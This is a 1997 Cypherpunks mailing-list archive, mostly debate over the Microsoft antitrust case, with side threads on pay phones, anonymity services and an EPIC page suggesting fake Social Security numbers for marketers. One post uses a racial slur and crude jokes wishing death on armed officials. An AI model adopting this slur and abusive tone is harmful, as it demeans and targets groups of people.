> Well, it's all a familiar pattern. I hate to say it, but read parts of
> "Atlas Shrugged" to see this piling on, this "taking down the successful a
> few notches" behavior.

I hate to admit it, but I agree with Timmy on this one.

> Attila T. Hun is, for some reason, bashing MS a lot. I'll use one of his
> posts to make some specific points:

If Hitler gasses Goebbels, would you object?

> At 10:15 AM -0700 12/21/97, Attila T. Hun wrote:
>
> >> WASHINGTON (Reuters) - A federal judge Friday told Microsoft
> >> Corp.  he easily uninstalled the company's Web browser
> >> without breaking Windows 95 and ordered company officials to
> >> explain why they could not do the same.  "Windows 95
> >> functioned flawlessly" with Internet Explorer uninstalled,
> >> U.S.  District Judge Thomas Penfield Jackson told Microsoft.
> >>
> >    mistake #1: dont piss off a federal judge --let alone
> >    try to show that he is ignorant.

If IE does include some important bug fixes for the OS (like MS Office does),
then Microsoft ought to make these patches available as OS patches and not
bundle them with other products. "Ought to" doesn't mean it's illegal for them
to only bundle...

> PC makers like Compaq, Dell, Gateway, etc., are in fact perfectly free to
> bundle Netscape Navigator (or whatever the Do Everything version is called)
> with their systems. Microsoft is then perfectly free, in a free society, to
> say "Fine, then don't put Windows on your machines."

Ah, but they'd rather sell their hardware with a bunch of pre-installed
software, and charge the poor consumer for it. If you buy an IBM Thinkpad, they
refuse to sell it without Windows 95 preinstalled, and America Online software
(probably charged for it), and a bunch of Lotus software (123, some
wordprocess, etc); even if the first thing you intend to do is to reformat the
hard disk and instal Linux.

In an ideal world, MSFT would be free to refuse to sell its OS to hardware
makers because they're owned by gooks; to demand that the hardware makers pay
MSFT a licence fee for every piece of hardware they sell, whether or not they
included Win95 with it; and to insist that the hardware makers include a big
disclaimer saying they don't support Netscape products as a condition for
getting an MSFT licence. But we're not living in a free country.

> Customers can then make their choices. Or can buy Windows in the nearest
> software store. The way it used to be done.

They refuse to sell "bare hardware" because they get part of the profit on
selling it with the software pre-installed: typically not just the OS, but a
bunch of useless apps that most users never use.

Likewise try to buy a scanner without a bundled useless Windows software that's
"supposed" to go with a scanner; or a color printer without bundled
finger-painting software for Windows; or a modem without bundled
"communications software" (which almost always includes a Netscape browser).
You can't avoid paying for the media and the license to this useless shit.

> Yielding to pressure from the court, MS is now allowing PC makers to also
> include Netscape Navigator. Well, none have yet elected to do so...quite
> probably because Netscape is _charging_ for this, and MS is not.

They would if the consumers demanded it. Of course the consumers can get
netscape for free if they want it. Lots of folks use their computers for more
productive work than interenet browsing and don't want any browser at all.

> (To Ralph Nader, and perhaps even to Attila, that MS is _giving_ away its
> browser, free for the download and free to the PC vendors, is itself a
> crime.)

Sure - unfair competition. :-) They'll go after GNU and linux too, given
time. Remember how Ziff-Davis publications refused to acknowledge the
exietence of free software or sharewre (and mostly still do)? Remember the talk
about licencing software developers?

> >    this is my one big fear: the DOJ will accept a plea
> >    bargain like they did last time and it will be back
> >    to business as usual for M$ --and they will be back in
> >    court within a year having gained even more horizontal
> >    and vertical control of the entire communications
> >    and information industries --and claiming again that
> >    they are misunderstood --and complying with the order,
> >    etc.
>
> Customers are voting with their pocketbooks. They like the MS offerings
> more than they like the competing offerings...of which there are still many.

Microsoft has gone through many failures before they finally came up with
products that consumers preferred. Microsoft benefited from very stupid
mistakes made by IBM and Sybase and Digital Research at various times, but
they've made pelnty of stupid mistakes of their own. Right now they're being
rewarded for trying many product only some of which sold well.

> (Macintosh, Unix in several flavors (incl Linux), and loyal followings for
> older OSes. Sun and Oracle and others are pushing for Java-based systems to
> obsolete the MS products. This is a major struggle which analyses about
> Microsoft's "domination" seem to ignore.)

Java's dead. However no one is preventing Atilla from writing e.g. a word
processor superior to MS Word and letting it compete in the marketplace.

> >    there is only one solution to organizations like M$
> >    which are operated without ethics: treat them to the
> >    pleasures of not only the antitrust laws but the
> >    exquisite delights of RICO.
>
> I cannot understand how Attila can so enthusiastically support this. His
> "exquisite delights" even recalls Torquemada and the Inquistion. A suitable
> term for what is being to MS, in my view.

I have mixed feelings about this... MS is a turd of the same shitpile
as DOJ, Ralph Nader, and Nescape. If one of them fucks another one of
them in the ass, as opposed to fucking an innocent bystander, we can gloat.

> >    M$ is a cancer; it has fully metasticized and is gorging
> >    itself at the banquet of the vanquished.
>
> Ralph Nader would probably be interested in hiring ATH as a speech writer.

Given free competition, MSFT would go wither away and die under its own weight.
Look at the stupidity they've unleashed in Windows 98:

* yet another user interface (while people are still retraining from 3.1 to
W95/NT4)

* No support for NTFS, but yet another wasteful file system (FAT32) [This is
really something. It's hard to fine a disk drive under 2GB these days and the
FAT filesystem is extremely inefficient on it. Instead of supporting NT's NTFS
(fairly fast and efficient; similar to OS/2 HPFS in many respects :-), MSFT
introduces yet another filesystem, that's actually slower than the 16-bot FAT
and wastes more disk storage in unsused clusters than any I've ever seen)

> >    anyway, just think where M$ would be with Royce today!
> >    Gate$ and Ballmer might be down at the local MCC for a
> >    few free 3 hots and a cot, all expenses paid, "enjoying"
> >    a well earned vacation from screwing all of us.
>
> I take it that ATH means that because something like 20 or 30 million
> Americans chose to buy Windows 95 (and thus gain the benefits we Macintosh
> users have had for many years :-}) that this means "we" were screwed?

In a sense, yes - if everyone freely chooses to use Windows 95 and not, say,
OS/2, and as the result the companies that developed software for OS/2 go
bankrupt (as most of them indeed did :-), and then there's no application
software for OS/2, then OS/2 users like myself are indeed screwed.

And it is Microsoft's fault for offering a more popular product; or perhaps
IBM's fault for fucking up OS/2.

> >    Other than the usual ills of a monopoly, what really
> >    irks anyone with a modicum of intelligence is that Gate$
> >    intends to migrate the entire package for the benefit of
> >    the couch potatoes; Gate$ intends to dictate not only
> >    what we use to view his trash, but that only his trash
> >    is splashed.
>
> Why not pick on Intel? Intel is, if anything, even more of a "monopoly"
> than MS is. While customers have some reasonable choices in OSes
> (Windows/NT, Unix, Linux, Macintosh, AmigaOS, Inferno, Java-based
> developments, etc.), the fact is that all of the surviving OSes are being
> ported to the Intel platform (pace recent announcements by Sun that Solaris
> will be on  Merced at its rollout in 1999, and earlier announcements by
> H-P, DEC, and IBM along the same lines).

Although I always buy Intel CPUs (afraid of compatability problems), there are
now plenty of clones from AMD, Cyrix, and IBM. Back in 8088 days I avoided
using Intel and insisted on the NEC clone. Intel's architecture is very
popular, but it's not necessary running on intel-made chips, or (more
relevantly) chips whose sales give Intel revenues.

> But neither MS nor Intel are "monopolies." They are just the People's
> Choice. Which always tends to cluster...the big really do get bigger. For
> awhile, at least, until the paradigm shifts and the big can't adapt quickly
> enough.

The way Microsoft seems to be unable to adapt to large hard disks :-)

> >> After the hearing Friday, Christine Varney, a former Federal
> >> Trade Commissioner now representing Netscape, was jubilant.
> >> "I think the judge has understood the seriousness of the
> >> issue," she said.
> >>
> >    she had every reason to be jubilant --so far. even if
> >    the judge did not fully understand the technological
> >    bullshit M$ was trying to slide on by, the judge fully
> >    understands that M$ was trying to blind pitch him --and
> >    insulting him to boot.
>
> Of _course_ she's jubilant! Netscape wants its "rightfully-earned monopoly"
> back! Has anyone forgotten that in 1995 it was looking like Netscape would
> be on 95% of all desktops, Windows, Mac, and Unix, and that it was turning
> into the Big Bad Monopoly? Are memories really that short?
>
> Netscape has been using its legal manouvers to attempt to stop Microsoft
> from horning in on _its_ monopoly.
>
> (I hate using the term "monopoly," but if critics of MS are going to use
> it, hey, when in Rome....)

I should also mention that Netscape was engaging in pretty nasty (although
legal) behavior by "enhancing" its browser to support non-standard HTML
extensions; some assholes uses these extensions on their web sites and then
theycould only be browser properly with a Netscape browser.

> >> Microsoft stock closed at $128.69, down $2.19 on NASDAQ,
> >> where it was among the most active issues.
>
> >    yes, down almost 20 points since their fiasco with the
> >    DOJ started. before it's over, I hope to see M$ listed
> >    with the junk bonds and issues --in the penny stocks.
> >
>
> Yep, sort of the way Netscape stock went from its IPO price of around $25
> (in today's shares) to $80 when it looked like Netscape Navigator and
> related products were going to be the Next Big Monopoly....and then
> plummeted down to the $30-40 range as it appeared this was not the way
> things were going to turn out....
>
> Netscape stock is currently at $27 3/4, just about where it began trading
> in '95.

I haven't look at NSCP's reports at all, but I presume most of their revenues
comes from their server sales, not the browser licenses?

> Perhaps the graphics chip companies facing extinction as Intel puts massive
> graphics capabilities into new chips can sue on antitrust grounds and get a
> "special master" to dictate to Intel what features it may put into chips?

it's funny that you mention this: I was just talking to someone who mentioned
that Lockheed-Martin is threatening INTC with anti-trust if Intel puts graphics
features in its chipsets that would hurt the sales some Lockheed-Martin
subsidiary. I suppose S3, Dimond multimedia, et al will b happy to join.

> (Certainly the long-departed Weitek might have survived a few more years
> had Ralph Nader turned his unsafe at any speed attention to the floating
> point processing market and gotten an injunction against Intel putting
> onboard floating point instructions into the 486.)

Hmm - having used Weitek chips a lot (alongside Intel 386's) I doubt very much
that Intel's integrating the floating point unit into the 486 contributed much
to its demise. I personally quit using Weiteks when I discovered that their
double precision operations were about 10 times slower than single precision,
and in fact slower than ab Intel 80387 co-processor!

> I cannot understand how any Cypherpunk can be advocating interference in
> the market the way Attila and a few others are doing.
>
> Making jokes about Bill Gates is one thing, just harmless fun. But
> advocating the Men with Guns (TM) seize control of the products he offers
> to uncoerced customers is simply wrong.

best scenario: men with guns die from AIDS
second best: men with guns shoot each other
worst: men with guns shoot innocent bystanders
MSFT is no innocent bystander.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From comsec at nym.alias.net  Sun Dec 21 12:46:56 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Mon, 22 Dec 1997 04:46:56 +0800
Subject: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <19971220182004.12276.qmail@nym.alias.net>
Message-ID: <19971221204006.25556.qmail@nym.alias.net>




-----BEGIN PGP SIGNED MESSAGE-----

gburnore at netcom.com (Gary L. Burnore) wrote:

> :> :Actually in the case of anonymous e-mail you have one additional
> :> :safeguard.  You can ask to be blocked from receiving anonymous e-mail.  Try
> :> :telling the telephone company that you want to be blocked from receiving
> :> :calls from any pay phone! 
> :>
> :> It's available now.  The first to use it are pager companies.
> :      
> :Why would a pager company want to block calls from pay phones?
>  
> Because they (the pager companies) have been ordered to pay the charges
> related to calls made to their service from pay phones.  18.5 cents per call
> was the number the fed agreed to.  Keeping up with the telecommunications
> industry is difficult, eh?

First of all, I was not aware that Politas was running a pager company
when I suggested that it might be difficult for HIM to ask the telephone
company to block all calls from pagers.  Presumably an individual would
have a lot less clout in such situations than a high volume customer such
as a paging company might have.

Second, as you can probably tell from his return address, Politas is located 
in Australia, where different rules apply.

Third, I doubt that the telecommunications industry is any more difficult
to keep up with than any other industry, provided you have some need to do
so.  Of the thousands of industries out there, telecommunications is not one
that I follow intensely.
 
> : Haven't 
> :you seen that commercial (for MCI?) where the kids crowd into that phone
> :booth and page someone to pick them up from school before the big
> :storm hits?
>  
> Yeah, corny commercial.
>  
> : Imagine if they had gotten a recording saying "I'm sorry.
> :You can't page this number from a pay phone."  Really bad PR!
>  
> Just as bad as the PR when you tell everyone your new 800 pager number and
> tell them "But you have to call from a real phone not a pay phone" and then
> explain why a pay phone isn't a "real phone".

Just don't sign up for pager service with a company that blocks calls from
pay phones, then.  Then you don't have to try to re-educate everyone whenever
the definition of "real phone" changes.  Let the pager companies pass along
the surcharge to customers who choose to be pager-accessible from pay phones.
I figure if an extra 18.5 cents is going to make that much of a difference to
me, I probably didn't want to talk to that person that badly, anyway.  So I'd
either opt to not pay extra for 800 access, and let people page me at their
own expense, or else be more selective who I gave my toll-free access
number to.

I have a friend who has basic pager service with a local, non-toll-free
access number.  He also has separate 800 service that rings through to his
pager number.  The more expensive 800 number is given out more selectively
than the local number.

- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJ1utgbp0h8ZvosNAQHo8Af/QnNTrhrTvwiBSKLx7QNHuXMglG8U2Q5P
5dEXqFEXLFLKGK/bt/Udh6702z2maWqFv/Gw9tCASXJkhzaphpOgc5uuAm/pCvPa
X6BaQ5QyQMb2rc3sBkCeGqJyggzkVbI3Cel5eB5tvoQuDvqEJcIc56DyvfZxZBJF
/Muq2Sy4iALkk92n3CQcck6Yb0IpZukVGoq0lRfkb8DnawOIbSXHKm4RSmEctQGI
CCfkJcm/4zzxBippMEeLYJIEJN/QdsIrsvtw4RPfsse8urTjluY/V/DPUoUMDht/
EagfEeLYrf3zAKzarpeH3UIPyrNNk9Z6Js+KINV1zOhCAO97SPJ+mw==
=lVC8
-----END PGP SIGNATURE-----






From jya at pipeline.com  Sun Dec 21 12:53:12 1997
From: jya at pipeline.com (John Young)
Date: Mon, 22 Dec 1997 04:53:12 +0800
Subject: Why I Support Microsoft
Message-ID: <1.5.4.32.19971221205217.00741904@pop.pipeline.com>



The NYT reports today on the MS-DoJ case and notes that
Microsoft has opposed the administration on several
issues -- one being encryption -- which have captured the
attention of publicity-seeking legislators as well.

Another NYT report is on Microsoft's past neglect of major
lobbying of the government and bigtime contribution to PACs, 
in contrast to other industrial giants, and that MS it is fast coming 
around on both counts now, with big bucks being poured into 
DC coffers of PR firms. (Could this beneficence be the incentive
of $ieger and $habbar?)

The report notes that Microsoft is for the first time beginning to
consider that it cannot continue to grow without coming to
terms with the USG, the lesson all the giants have learned so
well and are happy to see Bill Gates cut down to fit the mold.

Now, was it not the case that not too long ago Microsoft was
allegedly funding the strong crypto bills? And is a plea bargain
in the works for MS sentence of worldwide GAK in Explorer?







From tcmay at got.net  Sun Dec 21 13:20:10 1997
From: tcmay at got.net (Tim May)
Date: Mon, 22 Dec 1997 05:20:10 +0800
Subject: Why I Support Microsoft
In-Reply-To: <1.5.4.32.19971221205217.00741904@pop.pipeline.com>
Message-ID: 



At 1:52 PM -0700 12/21/97, John Young wrote:
>The NYT reports today on the MS-DoJ case and notes that
>Microsoft has opposed the administration on several
>issues -- one being encryption -- which have captured the
>attention of publicity-seeking legislators as well.
>
>Another NYT report is on Microsoft's past neglect of major
>lobbying of the government and bigtime contribution to PACs,
>in contrast to other industrial giants, and that MS it is fast coming
>around on both counts now, with big bucks being poured into
>DC coffers of PR firms. (Could this beneficence be the incentive
>of $ieger and $habbar?)

It sure looks like Microsoft's "crime" is really that if failed to make
enough of the right campaign contributions. Perhaps it needs to hire
Charlie Trei to funnel some MS-bucks into the DNC coffers (and RNC coffers,
to cover both sides of the bet).

America as an extortion state. No suprise there.

By the way, in the last Clinton election, some Silicon Valley companies
were lavish in their support of the Democrats and Clinton. Among them,
Netscape and Apple.

Giving Clinton the cold shoulder was Intel. (Having worked for Craig
Barrett and Andy Grove, I can tell you that they despise the Democrats.)

Though not on the radar screen quite yet, I expect the real action will be
targetted against Intel. Particularly if it looks like the Merced will
effectively displace all mainframe and business-sized CPUs.


>The report notes that Microsoft is for the first time beginning to
>consider that it cannot continue to grow without coming to
>terms with the USG, the lesson all the giants have learned so
>well and are happy to see Bill Gates cut down to fit the mold.
>
>Now, was it not the case that not too long ago Microsoft was
>allegedly funding the strong crypto bills? And is a plea bargain
>in the works for MS sentence of worldwide GAK in Explorer?

I made a similar _speculative_ comment, a question, really, back in the
summer of 1993 (either that or the summer of '94...I'd have to check the
archives), when some comments came out of MS about their reasons for
agreeing to a kind of software key escrow.

(Tom Albertson, a paralegal for MS then, sent me a note alluding to some
kind of agreement...inasmuch as MS had made no public comments on SKE, this
seemed to be a sub rosa deal.)

I asked at that time if MS was not being pressured to sign the consent
decree and was not perhaps using support for SKE--then being pushed to
companies by NSA/NIST forces--as a way to buy some breathing room.

Certainly Bill Gates has spoken out forcefully against key escrow, so maybe
this explains the current hostility toward MS. Or part of it.

MS just isn't playing the game...they're not kicking in enough tribute to
the pols, and not playing ball on crypto.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From ryan at michonline.com  Sun Dec 21 13:50:54 1997
From: ryan at michonline.com (Ryan Anderson)
Date: Mon, 22 Dec 1997 05:50:54 +0800
Subject: Why I Support Microsoft
In-Reply-To: 
Message-ID: 



> Anyway, the recent government actions against Microsoft are reprehensible
> to any person who values liberty. Microsoft is being punished for its
> success.

No, Microsoft is being punished for consistently attempting to eliminate
all competition for PC computer software.  MS achieved a monopoly on the
operating system.  Fine.  They've pretty much earned one in the Desktop
application suite market.  (Partly because they give themselves access to
documentation and versions of the OS before anyone else, and partly
because they don't document large portions of the API, but....)  With the
Web browsers Netscape had a clear market-share lead.  Microsoft responded
with a free browser.  

Remember, under current Anti-trust laws, Microsoft clearly qualifies as a
monopoly.  And giving away products in a potentially competitive market is
clearly predatory pricing.  (And frankly, it has the nice side-effect of
eliminating any chance of choice for the consumer in the long run.)  Check
the surveys done (or published by, I'm not sure right now) Infoworld about
where companies are planning on being in 6 months with regards to web
browsers.   The supposed Netscape dominance in the browser market is going
to completely disappear.

Isn't this enough to tell Microsoft that it has to limit its licensing
deals some?  

Capitalism depends on competition to work, and we've seen several times in
this country that it tends to break down when extremely large companies
begin to dominate a market.  Hence our antitrust laws.  That's entirely
what Microsoft is being sued under.  (In principal, if not actuality..)

Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



There is that word "FREE" which has a scope similar to the
other massively abused word "LOVE".  As far as I'm concerned
the term "FREE WORLD" is as ambiguous as the sentence "I LOVE
YOU."

Sometimes people mean by freedom that the government penalizes
those who impinge upon the civil rights of others or the
attitude of the people under that government tends to uphold
such civil rights willingly because of the prevalent ideology
of that social group.  This freedom is important to me, and why
I am grateful to have been born into this century under a
fairly civil-minded constitutional government.

When it comes to monopoly issues it is not civil freedom that
is under question, not the rights of free speech, belief system,
assembly or the simple choices of spouse or educational
objective.  It is the right to secure control over hoards of
assets that is in question.  I think that successful business
people who seek monopolous control are actually sick with an
insecurity which underlies their apparent love of money.

It is clear to me that even though the human mind does not
appear to be up to motivating itself for the good of the whole
which many of the non-free-enterprise economic systems have
proposed, free enterprise has many deficiencies.  It is
inefficient and it encourages lack of humility, greed, theft,
dishonesty and, above all, gluttony.  Take a walk through a
shopping area in a Christmas-celebrating country at this time
of year and just watch.  People are buying hoards of useless
items.  The fallacious conjecture is that this "stimulates the
economy".  No, it distracts the workforce from work that could
benefit people in meaningful ways.

The reason I believe in the dissemination of cryptographic
technology and mailing lists like this one is that it assists
the continuance freedom of speech, a freedom which invites me
to practice restraint and exercise responsibility.  I am
torn between joy over Internet communication and disgust
in the ugly creatures that free-enterprise has nourished while
funding this communication mode.  When I find myself reading
the manipulative legal statements of any of the large
corporations I loath myself for being so willing to purchase
their products, even if it pays my bills.






From loki at infonex.com  Sun Dec 21 15:06:38 1997
From: loki at infonex.com (Lance Cottrell)
Date: Mon, 22 Dec 1997 07:06:38 +0800
Subject: Hate speech and censorship
In-Reply-To: <199712200621.HAA13824@basement.replay.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

At 10:58 AM -0500 12/20/97, Dr.Dimitri Vulis KOTM wrote:

>I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
>for the ideology; he'll bend over the moment he thinks there's more $$ in
>bending over, which is usually the case.
>Remember how Sameer Parekh's C2Net used to try to peddle a "privacy ISP"
>because he failed miserable and diversified into peddiling shitty software
>and making idiotic legal threats? He happily pulled plugs bases on content,
>while at the same time stating in court papers that he doesn't censor content.
>What a pathological liar.
>

I am very glad some helpful anonymous individual forwarded this note to me.
These days I only read a filtered version of the Cypherpunks, although I
host one of the unfiltered nodes, and Dr. Vulis has been in my kill file
for some time.

I am a bit startled at his assumption that because I charge for my services
that I would bend at the first sign of trouble or pressure. Allow me to
clarify my business interests. The Mixmaster software I created is free and
licensed under GNU Copyleft. I do not and never have charged for the use of
the Mixmaster remailer I run at mixmaster at remail.obscura.com. At this time
we charge for anonymous ISP accounts, shell accounts and web hosting, and
for the Anonymizer. I don't think anyone would every expect me to offer
free Internet services with technical support. We also charge for
unrestricted use of The Anonymizer (a free unlimited trial with 30 sec.
delay is available to anyone). We did not want to charge for use of the
Anonymizer, but the advertising supported model for the service fell
through when advertisers turned out to be smart enough to see that the
whole point of The Anonymizer is to keep them from gathering the data which
is the whole reason the like to advertise on the Internet in the first
place. The Anonymizer is not like a remailer in the resources it consumes.
I have run remailers from home machines over 14.4kbps modems. The
Anonymizer will overload a T1 (up to 1000 ms ping times) by its self. This
translates to approximately $2000 of generosity per month, more than I can
afford by a wide margin.

As to my ideology, I think the fact that I run many of my services for
free, and the rest with a limited free option, and that I could double or
triple my income if I closed shop and went to work for someone else, speak
for themselves.

As long as privacy tools are free and run by hobbyists they remain, on the
whole, toys. Fees allow me to have several people working full time to
provide technical support, software development, and other services.

I think anonymity is important. I have thought so for many years. I have
put my time and efforts where my mouth is. I think that my contributions
have not been insignificant. I hope that the public feels that privacy is
important too, or I am wasting my time. The fact that they are willing to
pay for strong privacy and anonymity shows that they do.

Dr. Vulis' attack on Sameer was much worse than his attack on me. It is
totally off base. Sameer handed off most of his "privacy ISP" business to
me. The reason for this was not that it was failing, but that the software
side of the business was so much more successful. About half his efforts
were going toward a service generating about 10% of his revenues. Not to
focus his efforts would have been very poor business practice.

I don't care to be involved in long flame wars, or pointless and endless
arguments, so I will not be following this thread on the list. My record,
reputation, and positions are well documented, and easy to research. Anyone
who wants the truth should have no difficulty finding it.

	-Lance Cottrell


- ----------------------------------------------------------
Lance Cottrell   loki at infonex.com
PGP 2.6 key available by finger or server.
http://www.infonex.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
- ----------------------------------------------------------


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ2fLsogYxMMzklZAQGTVAf9E2X5gbOGsWP93lJiYEOQ2vtlmLhQJFSC
v576ehJoqZZ402eFsT/rS/NQSYkknRr6isXKfvDarRnHy39ARfYQuZxmeSH9qOyP
rIvYG6jCExubGoNFlFds4mEP/7SOrijnkaSqt1M0lrYjKHVhWcP1JjwRsRlCy2D2
sG+DzufbwoVLvx8cGtT5VhrMH/ZTCud98m7/0XMIL7+Ss7HzqGFtr/WIjwXRUmmK
eOct3is9p1SPeMgpkhkZCObvBwi/lNxWVU/LqhXzmRxQgbM85AST5omp2WWGk7Xp
ODmNmmzwNuVPvJGAchHibQpqxApheyK2yQRLTjT5foryT12mwV9xbQ==
=bsCt
-----END PGP SIGNATURE-----






From schear at lvdi.net  Sun Dec 21 15:30:57 1997
From: schear at lvdi.net (Steve Schear)
Date: Mon, 22 Dec 1997 07:30:57 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re:  UCENET II and Peter duh Silva)
In-Reply-To: 
Message-ID: 



>At 10:36 97/12/20 -0500, Rabid Wombat wrote:
>
>> More like simple economics; after the breakup, a lot of pay phones were 
>> operated by companies specializing in this type of service. Pay phones 
>> are high maintenance, and their operators can only turn a profit by 
>> charging very high rates; if you make a quick call and ask the other 
>> party to call you back at the pay phone, the pay phone operator doesn't 
>> make much money.
>> 
>> Can you site any legislation barring pay phones from receiving calls? I'd 
>> think that most pay phone operators would be glad to deny incomming calls 
>> if they were allowed to (as they often are), and wouldn't need to be forced.
>
>Can't a pay phone operator get paid a portion of incoming calls as well?
>If they can set outgoing rates to be very high, couldn't they set their
>incoming rates as well? (This is not an opinion, but a question.)
>I do know that depending on the arrangement, phone companies either
>carry all incoming call for free or cross bill incoming minutes to each other.

There's probably is little incentive for the originating carrier to share their revenue with the phone operator.   The originating carrier could try and pass on the added cost of the payphone usage to the caller but this complicates the call completion arrangements, including (probably) the use of an Automatic Voice Response notifying the caller of the additional charges.  I've heard some U.S. cellular carriers are experimenting with "caller pays" billing.  Does anyone on the list have experience with "caller pays"?

An alternative to a change in billing arrangements might be to enhance the payphone.  All the phone manufacturer needs is to add a feature which disconnects the audio from the handset, alternately displays the incoming caller's number and a request for payment in order to complete the call.  The display continues and the audio is disconnected for as long as the incoming call is present.  Deposit the money and the call's audio is connected to the handset.  Operator is paid.  If desired, the phone can request payment in amount and frequency which corresponds to a easily understood rate (e.g., a local call.)

Possible problems: 
1. Lack of information/loss of anonymity--if the caller has their Caller-ID blocked and neglects to temporarily turn it off the receiving phone will only be able to display "Unknown Caller,"  causing person waiting for a call to gamble that the caller is from the party expected, if caller turns off their Caller-ID block anyone near the phone can see their phone number whether or not the call completes or the expected receiving party is present.

2. Possible incompatibilities with existing payphone payment signaling systems.

--Steve







From schear at lvdi.net  Sun Dec 21 15:33:03 1997
From: schear at lvdi.net (Steve Schear)
Date: Mon, 22 Dec 1997 07:33:03 +0800
Subject: Don't lie to the marketers or Feds! from ZDNET
In-Reply-To: 
Message-ID: 



At 3:15 PM -0500 12/21/1997, Declan McCullagh wrote:
>http://www.zdnet.com/intweek/print/971215/264108.html
>
>>For Social Security Number, the EPIC page recommends using
>>a number, which won't be reprinted here, used on "sample"
>>cards decades ago. The figuring: "Most clerks probably
>>won't recognize it as a fake" and it won't interfere with
>>other Social Security numbers.
>>
>>For addresses, the EPIC page suggests using hometown parks,
>>city halls and police stations. It specifically suggests
>>the address of Comiskey Park in Chicago. Makes one wonder
>>how White Sox officials feel about the prospect of getting
>>extra junk mail and spam really destined for disciples of
>>EPIC's peculiar freedom of information act. What crime
>>against the common good did Jerry Reinsdorf commit except
>>to sign Albert Belle to an ungodly contract undermining
>>baseball owner solidity against rising salaries?
>>
>>For telephone numbers, the recommendation is
>>1-202-224-3121. That turns out to be the switchboard of the
>>U.S. Congress. If this is intended to send some sort of
>>message to solons about the loss of control of personal
>>information, it's likely to be wholly lost. The only people
>>it will punish are operators handling incoming calls at the
>>Capitol. They will only regard the extra calls as more
>>wrong number calls they have to handle. They will have no
>>way to figure out that this is some sort of subgrassroots
>>effort to gum up the works. And they will certainly have no
>>way to provide statistics to Congress on the result.
>>
>>The EPIC page is, in that last case, urging Americans to
>>waste taxpayer dollars, for no clear purpose.
>>
>>On a larger scale, the EPIC document only exacerbates the
>>issue it tries to solve. The answer to the loss of control
>>of personal information on the Internet is not to
>>contribute instead to a boom in unreliable data.
>>

Of course it is.  It hit these companies where it hurts most, their wallet when they try and sell data which purchsers find unreliable and refuse to purchse again or let leak to others thinking of purchasing.  If these companies cannot accurately collect data which customers really don't want to give them (and they may not have a lawfull requirement to request) anyway they may eventually stop asking since they're getting garbage.

The cure for SPAM is more SPAM.

--Steve








From dm0 at avana.net  Sun Dec 21 16:19:55 1997
From: dm0 at avana.net (David Miller)
Date: Mon, 22 Dec 1997 08:19:55 +0800
Subject: Why Linux Users Support Microsoft
Message-ID: <349DBF53.228D0FB4@avana.net>



Tim wrote:

>Over the years I've sometimes joined in on the jokes about Microsoft and
>Bill Gates...the jokes about the Borg, assimilation, and the habits of
>Gates. And I've lately really enjoyed the "Saturday Night Live" skits
>involving Bill Gates interrupting the Pope to announce that Microsoft
>has merged with Christmas, and so on.

That last skit was lame ass -- I like the monkey-boy ones.

> Anyway, the recent government actions against Microsoft are reprehensible
> to any person who values liberty. Microsoft is being punished for its
> success.

No shit.  I've been fighting the 'free-thinking' Linux crowd for weeks
on
this.  Just because MSFT sucks is no reason for the gov to start this
shit.
If MSFT sucks, they should be brought to court on those charges, and not
because everyone in the world was stupid enough to use their OS.

Further, just becuase MSFT sucks is no reason to give the gov the power
to regulate software content.  Jesus christ, get out of my pants.

> Making jokes about Bill Gates is one thing, just harmless fun. But
> advocating the Men with Guns (TM) seize control of the products he offers
> to uncoerced customers is simply wrong.

Yes.  This is not a case of "biting the hand that Fed you."  It is a
case
of government power to control a free market.  I don't fear Bill Gates,
I fear the gov.

Who will you fear in 20 years?  Linus?  Give me a break.

--David Miller

Windows '95, a dirty, two-bit operating system.






From declan at well.com  Sun Dec 21 16:53:52 1997
From: declan at well.com (Declan McCullagh)
Date: Mon, 22 Dec 1997 08:53:52 +0800
Subject: Building Pro-Monopoly Judges
Message-ID: 



[Hmm. Apparently Charles is reluctant to defend his position here on
cypherpunks. Small surprise. --Declan]

==========

Date: Sun, 21 Dec 1997 18:49:41 -0500 (EST)
Reply-To: cmueller at metrolink.net
Originator: am-info at essential.org
Sender: am-info at essential.org
Precedence: bulk
From: charles mueller 
To: Multiple recipients of list 
Subject: Building Pro-Monopoly Judges

        Declan McCullagh, still displaying a reluctance to debate with
graciousness (below), now wonders if I've heard of the Federalist Society.
"PS: I wonder if Mueller knows about the Federalist Society, which is a
group of libertarian-leaning lawyers and law professors. Among other things,
they make a point of educating judges about (gasp!) economic theory and this
concept of a government strictly limited in its powers..."

        I've been reporting on this propaganda mill for roughly 2 decades--
and have published hundreds of pages on it.  (See my January post on the
subject, below.)

        Charles Mueller, Editor
        ANTITRUST LAW & ECONOMICS REVIEW
        http://webpages.metrolink.net/~cmueller

                                                *************************8



         **
>
>>Return-Path: 
>>Date: Wed, 15 Jan 1997 19:04:50 -0500 (EST)
>>Errors-To: antitrust-owner at essential.org
>>Reply-To: cmueller at metrolink.net
>>Originator: antitrust at essential.org
>>Sender: antitrust at essential.org
>>From: cmueller at metrolink.net (cmueller)
>>To: Multiple recipients of list 
>>Subject: GMU's "Law & Economics Center"
>>X-Listprocessor-Version: 6.0c -- ListProcessor by Anastasios Kotsikonas
>>
>>        Perhaps I can add some information on the "Law & Economics Center"
